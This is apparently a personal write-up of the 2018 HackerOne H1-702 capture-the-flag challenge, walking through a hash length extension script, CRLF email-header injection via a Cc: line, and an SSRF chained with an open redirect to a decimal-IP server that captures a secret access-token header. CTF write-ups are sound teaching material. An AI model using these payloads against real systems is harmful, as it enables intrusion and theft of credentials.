H1-702 CTF

August 15, 2018

The Beginning


I was walking around the vendor area at Blackhat when I spotted the HackerOne booth. I went over there and someone gave me this card.

I saw the string atvdxk.ahebwtr. It looked like it had been ciphered somehow. One of the first things I thought it might be was a Caesar cipher. I used this tool to print out all the possible plaintexts. In the output, I saw hacker.holiday. That had to be the answer.

I also noticed the 2 lines of characters on the bottom of the card but I was unable to get anything out of that after about 15 minutes so I decided to move on.

I navigated over to https://hacker.holiday and was met by this page.

Viewing the robots.txt there revealed that there was a file called flag.php in the web root. However, trying to access it gave this error: MISSING ACCESS TOKEN.


Second Step - Hash Length Extension


On that page, I viewed rules.txt. The url immediately caught my eye, https://hacker.holiday/?file=rules.txt.

I initially thought that it was a simple local or remote file inclusion vulnerability but I was wrong. Upon changing the file parameter, I got a message saying Error: Invalid file name. DEBUG mode is currently disabled.

The DEBUG mode part of it was interesting. I decided to try the simplest thing and add a debug=1 parameter to the query string. It worked. In addition to the error message about the file name being invalid, the application now spit out a list of valid file names.

Valid files: rules.txt, next.207

I then tried to view next.207 and was met with a No Hash Specified error. I tried adding a hash parameter to the query string which resulted in me getting an error message that said Invalid Hash.

At this point, I wondered why I didn’t seem to need a hash to view rules.txt and whether I could find a valid hash for rules.txt at all. I went back to the previous page that listed the valid files. I checked the source and saw this: <acronym title="hash: 266b99aac278c0fd7be8a55025ba8afc854c88da">rules.txt</acronym>

Given that I had a hash for rules.txt, attempting a hash length extension attack seemed like the next logical step.

I wrote a small script in Python using hashpumpy.

import hashpumpy
import requests

min_key_len = 1
max_key_len = 50 

original_data = 'rules.txt'
data_to_add = '../next.207'
hexdigest = '266b99aac278c0fd7be8a55025ba8afc854c88da'

for i in range(min_key_len, max_key_len+1):
    new_hash, new_file = hashpumpy.hashpump(hexdigest,original_data,data_to_add,i)
    print 'Trying: %s:%s' % (new_file, new_hash)
    payload = {'file': new_file, 'hash': new_hash}
    r = requests.get('https://hacker.holiday/',params=payload)
    if 'Invalid hash' not in r.text:
        print "Found key length: %d\n" % i
        print r.text
        break

The request succeeded with a key length of 16 and the contents of next.207 were included in the result.


Mystery file

The contents of next.207 ended up being a really long string of letters and numbers that looked suspiciously like something encoded as a hex string.

Python’s string.decode(‘hex’) made quick work of it. I dumped the result to a file and worked from there. Running file on it didn’t return anything useful. I then took a look at it using hexdump.

hexdump -C file | head -n10
00000000  00 00 00 00 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |............IHDR|
00000010  00 00 01 f4 00 00 01 f4  08 06 00 00 00 cb d6 df  |................|
00000020  8a 00 00 00 09 70 48 59  73 00 00 0b 13 00 00 0b  |.....pHYs.......|
00000030  13 01 00 9a 9c 18 00 00  0a 4f 69 43 43 50 50 68  |.........OiCCPPh|
00000040  6f 74 6f 73 68 6f 70 20  49 43 43 20 70 72 6f 66  |otoshop ICC prof|
00000050  69 6c 65 00 00 78 da 9d  53 67 54 53 e9 16 3d f7  |ile..x..SgTS..=.|
00000060  de f4 42 4b 88 80 94 4b  6f 52 15 08 20 52 42 8b  |..BK...KoR.. RB.|
00000070  80 14 91 26 2a 21 09 10  4a 88 21 a1 d9 15 51 c1  |...&*!..J.!...Q.|
00000080  11 45 45 04 1b c8 a0 88  03 8e 8e 80 8c 15 51 2c  |.EE...........Q,|
00000090  0c 8a 0a d8 07 e4 21 a2  8e 83 a3 88 8a ca fb e1  |......!.........|

After seeing strings in there like IHDR, I figured it must be a PNG or at least contain a PNG. However, I still wasn’t sure why file wasn’t recognising the file. I took a look at the wikipedia page for PNG files to see if anything was off with the header.

It turns out that the first 4 bytes of the header seemed to be missing completely. I changed them to the proper values for a PNG file and ran file on it again.

I got this as the result: file: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced


I hate Stego

I knew it as soon as I saw the image. All I had was this image. There had to be something hidden in the top all-white rectangle.

I don’t enjoy stego challenges at all so I’m lucky that one of the tools I had worked. I ran the image through stegoVeritas and luckily for me, one of the transformations it performed was correct. The result was this:


Password Reset

After navigating to the path mentioned in the image above, I landed on this page.

There was an admin.js file included on this page. It was pretty short and didn’t seem to be used anywhere.

function login() { /*todo*/ }

function logout(o) {
    var n = new XMLHttpRequest;
    n.addEventListener("load", reqListener), n.open("GET", "./?action=logout"), n.send(), window.location = "logout.php?r=" + o
}

Clicking on the Did you forget your password? link brought me to this page:

I messed around and checked for obvious things like SQL Injection but I didn’t find anything useful there. However, I did notice that the domains of email addresses entered into the forgot password form were restricted.

Trying any old email address got me: Error: Invalid email domain (must be hacker.1)

If tried entering a hacker.1 email address, and it went through.

I wondered if I could somehow trick the form into sending the email to more than 1 address while still tricking the parser into thinking that my email address ended with hacker.1.

I tried injecting a CRLF at different places to see what would happen.

Trying admin@hacker.2<CR><LF>test would result in the previous error message about the email domain being invalid. However, admin@hacker.1<CR><LF>test resulted in a different message: Error: Invalid email header specified

This told me that the content after the email address was being included later in the process, and that we were getting past the email domain check using the CRLF.

I thought that my input was being used to craft commands sent to a SMTP server. I tried a bunch of things here, like putting a RCPT TO: me@mail.com after the CRLF. However, none of that worked.

I then re-read the error message and realised how stupid I was being. It said that the email header was invalid…

After some googling, I realised that I should have used Cc: me@mail.com instead since it was going directly into the email header.

I tried that and it worked. I received a different message this time:

<div class="success">Password reset email sent to: <em>Hmm, you seem to know some tricks. I guess you can <a href="./el337er">continue</a> your journey</em>.</div>


SSRF + Open Redirect

I navigated to the path mentioned in the success message above and was met by this page.

Viewing the source gave me:

<div class="puzzle">

    <div class="logo"></div>

    <div class="block">
        <div class="text">You may know a thing or two after all... <br /> Your journey nears the end.</div>
    </div>
    
    <div class="block">
       
        <div class="admin">
       
            <h1>Admin Panel</h1>

            <p>Error loading flag....</p>
            
            <a href="../../robots.txt">
            <img src="./image.php?u=images/h1.png" />
            </a>
            
        </div>

    </div>

</div>

The link to the robots.txt here made me think that I was supposed to read flag.php at this stage. Also, the url used to load the image immediately caught my eye.

Url: ./image.php?u=images/h1.png

I thought that it might have been some sort of file inclusion. I tried including something over http but it just seemed to be appending the url (including the protocol, etc) to the existing path. That ruled out this being a remote file inclusion vulnerability. I figured that if I gave it an invalid file path that I would see some error about the file not being found. However, I was met with a 404 error. This was interesting because it means that the script was probably making a HTTP request in the background and returning the result to me. SSRF vulnerability. YAY.

I also wondered if that HTTP request in the background was being sent with the missing access token mentioned earlier when we tried to access flag.php directly.

I tried accessing: https://hacker.holiday/admin!31337/el337er/image.php?u=../../flag.php but that resulted in this error message: Hacking attempt! Only three . allowed.

I couldn’t go up 2 directories. I tried different things here like varying levels of URL encoding since the string would probably have been decoded at least twice because of the request taking place in the backend. However, none of that worked.

At this point, I gave up on trying to go up 2 directories and wondered what I could do by just going up 1 directory.

Things came together quickly when I thought about this. I remembered the unused admin.js file included earlier in the previous stage.

window.location = "logout.php?r=" + o

The page was responding with a 302 status code and a Location field in the HTTP header with the value of whatever r had in the query string. An open redirect vulnerability. YAY.

I didn’t think I would be able to get the internal request to hit the flag.php file using this method. However, by combining the SSRF with the open direct, I might be able to get it to hit a server of my choosing, allowing me to see the request headers and maybe get a glimpse of the access token that I was missing.

https://hacker.holiday/admin!31337/el337er/image.php?u=../logout.php?r=http://myserver.com

BUT FOILED AGAIN

I didn’t realise but I had crossed my 3 . limit again.

I remember I had read before that I could convert an ip address to its decimal representation and it would still work in some cases. If I did this, I would have no periods after the http and it should work.

I used this tool to convert the ip addresses of one of my servers to a decimal.

I then tried to make the request again:

https://hacker.holiday/admin!31337/el337er/image.php?u=../logout.php?r=http://<decimal_representation_here

IT WORKED!

This was the output that I got

Connection from [54.91.81.37] port 80 [tcp/http] accepted (family 2, sport 46382)
GET / HTTP/1.1
Host: <redacted>
Accept: */*
FLAG-ACCESS-TOKEN: h4ckth3pl4n3t

I had the token!


Reading the Flag!

I included the token in the request to flag.php and this was the result.

<h1>Access granted!</h1><p>Welcome to the end of your journey, remember where it all began...</p><p>GQMYJSGPSMGZRDDQNFBLZFGSDLWQMOPRSZRQAGOLQKWSRPSRZEAEDAQAFWPZ</p><p>(This is not the flag, you still have one final step to go!)</p><!-- http://rumkin.com/tools/cipher/ -->

Still one step to go….

Thankfully, they included a link to a list of tools at the end which would help with solving the challenge.

I considered a bunch of things like substitution ciphers, etc but nothing seemed to really work.

Ciphers like the one time pad cipher required a second string but I only had one… OR DID I?!

I remembered the two lines of letters on the card that I had noticed initially but couldn’t do anything with. I wrote them down and used that along with the string from flag.php

I tried them and it worked!

The result was: EMAILIWANTTOJOINTHEATHACKERDOTHOLIDAYWITHWINNERCHICKENDINNER

AND I WAS DONE!


Conclusion

In conclusion, it was a pretty fun CTF. I learned that I should pay closer attention to error messages :p

Thanks goes out to HackerOne!